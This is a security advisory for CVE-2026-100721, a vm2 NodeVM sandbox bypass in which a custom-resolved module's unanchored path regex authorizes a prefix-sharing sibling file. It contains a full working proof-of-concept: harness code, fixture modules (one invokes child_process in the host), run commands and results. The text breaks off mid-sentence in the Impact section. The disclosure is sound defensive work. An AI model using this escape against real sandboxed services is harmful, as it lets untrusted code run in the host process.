← All vulnerabilities
CRITICALSupply chain

CVE-2026-100721

npm · vm2

Summary

vm2: NodeVM custom resolution bypasses external path boundaries

Advisory details

Summary

At source revision 91034466bfb7f56b95fd48083ec6ca36d058f164 of vm2 3.11.8, an untrusted NodeVM guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. LegacyResolver.customResolve stores the resolved path in this.externals as ^<path> without an end or separator boundary; a later absolute require of a sibling such as foo2/index.js therefore passes the external check and is loaded through hostRequire when the configured context is host. The decisive attack loaded foo as FOO_OK and then executed the prefix-sharing sibling, which returned PREFIX_PWN after invoking child_process; an otherwise identical control denied the sibling with ENOTFOUND.

Technical Details

The affected configuration is a documented NodeVM use in which the embedder sets require.external to {modules: ['foo'], transitive: false}, supplies a custom resolver that returns the foo directory, sets a root directory, and uses context: 'host'. The guest controls the require specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary node_modules lookup misses and the custom resolver is consulted.

The source-to-sink path is:

  • NodeVM.run executes guest code and creates the module-specific require function at lib/nodevm.js:516-575.
  • DefaultResolver.resolveFull searches normal locations and then dispatches a miss to customResolve at lib/resolver.js:227-316.
  • LegacyResolver.customResolve checks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression at lib/resolver-compat.js:266-291.
  • isPathAllowedForModule falls back to this.externals.some(regex => regex.test(path)) at lib/resolver-compat.js:193-215. The dynamically appended expression ^/…/node_modules/foo also matches /…/node_modules/foo2/index.js because no path separator or end-of-string condition is required.
  • loadJS uses this.hostRequire(filename) for a host-context file and only wraps the returned exports with vm.readonly at lib/resolver-compat.js:255-263. Top-level effects of the required file therefore occur in the host process before the exports are wrapped.

The relevant current code has the same flaw for both supported custom-resolver return shapes:

if (typeof resolved === 'string') {
	this.externals.push(new RegExp('^' + escapeRegExp(resolved)));
	return this.loadAsFileOrDirectory(resolved, extList);
}
const {module=x, path: resolvedPath} = resolved;
this.externals.push(new RegExp('^' + escapeRegExp(resolvedPath)));
return this.loadNodeModules(module, [resolvedPath], extList);

The existing anchored bare-specifier matcher and the separator-aware mod.path check address different authorization states. They do not constrain the new this.externals entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix.

PoV

The minimal guest operation is to load the configured bare name and then request the separate absolute sibling path:

const foo = require('foo');
module.exports = {
	foo,
	sibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js')
};

The corresponding embedder configuration is:

const vm = new NodeVM({
	require: {
		external: {modules: ['foo'], transitive: false},
		root: '/tmp/vm2-prefix-case',
		context: 'host',
		resolve(name) {
			return name === 'foo'
				? '/tmp/vm2-prefix-case/node_modules/foo'
				: undefined;
		}
	}
});

The sibling is not itself allowlisted. Its successful load is the authorization violation; the child_process call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code.

PoC

From a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts:

git checkout 91034466bfb7f56b95fd48083ec6ca36d058f164
npm ci --ignore-scripts

Save the following harness as /tmp/custom-resolve-prefix.js:

'use strict';

const path = require('path');
const { NodeVM } = require(process.cwd() + '/lib/main.js');

const [, , mode, fooIndexPath, siblingPath] = process.argv;
const fooDir = path.dirname(fooIndexPath);
const root = path.resolve(fooDir, '../..');
const entry = path.join(path.dirname(root), 'entry.js');
let customCalls = 0;

function runGuest(code) {
	return new NodeVM({
		require: {
			external: {modules: ['foo'], transitive: false},
			root,
			context: 'host',
			resolve(moduleName) {
				if (moduleName === 'foo') {
					customCalls++;
					return fooDir;
				}
				return undefined;
			}
		}
	}).run(code, entry);
}

const record = {mode, result: 'invalid'};

try {
	if (mode === 'candidate') {
		const output = runGuest(`
			const foo = require('foo');
			module.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})};
		`);
		record.output = output;
		if (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') {
			record.result = 'violation';
			record.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN';
		} else {
			record.result = 'pass';
		}
	} else if (mode === 'control') {
		try {
			runGuest(`module.exports = require(${JSON.stringify(siblingPath)});`);
			record.result = 'violation';
			record.signal = 'prefix-sharing sibling loaded before custom resolution';
		} catch (error) {
			record.result = 'pass';
			record.denial = String(error && (error.code || error.message) || error);
		}
	} else {
		record.error = 'unknown mode';
	}
} catch (error) {
	record.result = 'invalid';
	record.error = String(error && (error.stack || error.message) || error);
}

record.customCalls = customCalls;
console.log(JSON.stringify(record));

Create the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix:

mkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2
cat > /tmp/vm2-prefix-case/node_modules/foo/index.js <<'EOF'
'use strict';
module.exports = 'FOO_OK';
EOF
cat > /tmp/vm2-prefix-case/node_modules/foo2/index.js <<'EOF'
'use strict';
module.exports = require('child_process').execFileSync(
	process.execPath,
	['-e', "process.stdout.write('PREFIX_PWN')"]
).toString();
EOF

Run the attack and then the negative control from the repository checkout:

node /tmp/custom-resolve-prefix.js candidate \
  /tmp/vm2-prefix-case/node_modules/foo/index.js \
  /tmp/vm2-prefix-case/node_modules/foo2/index.js
node /tmp/custom-resolve-prefix.js control \
  /tmp/vm2-prefix-case/node_modules/foo/index.js \
  /tmp/vm2-prefix-case/node_modules/foo2/index.js

The decisive results were:

{"mode":"candidate","result":"violation","output":{"foo":"FOO_OK","sibling":"PREFIX_PWN"},"signal":"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN","customCalls":1}
{"mode":"control","result":"pass","denial":"ENOTFOUND","customCalls":0}

Both executions completed successfully with return code 0 in an offline node:bookworm runtime. The attack reached LegacyResolver.customResolve once, while the control reached it zero times. The foo2 fixture can use child_process only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied.

Impact

This is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a NodeVM with a custom external resolver can be induced to load an existing prefix-sharing host file that wa

References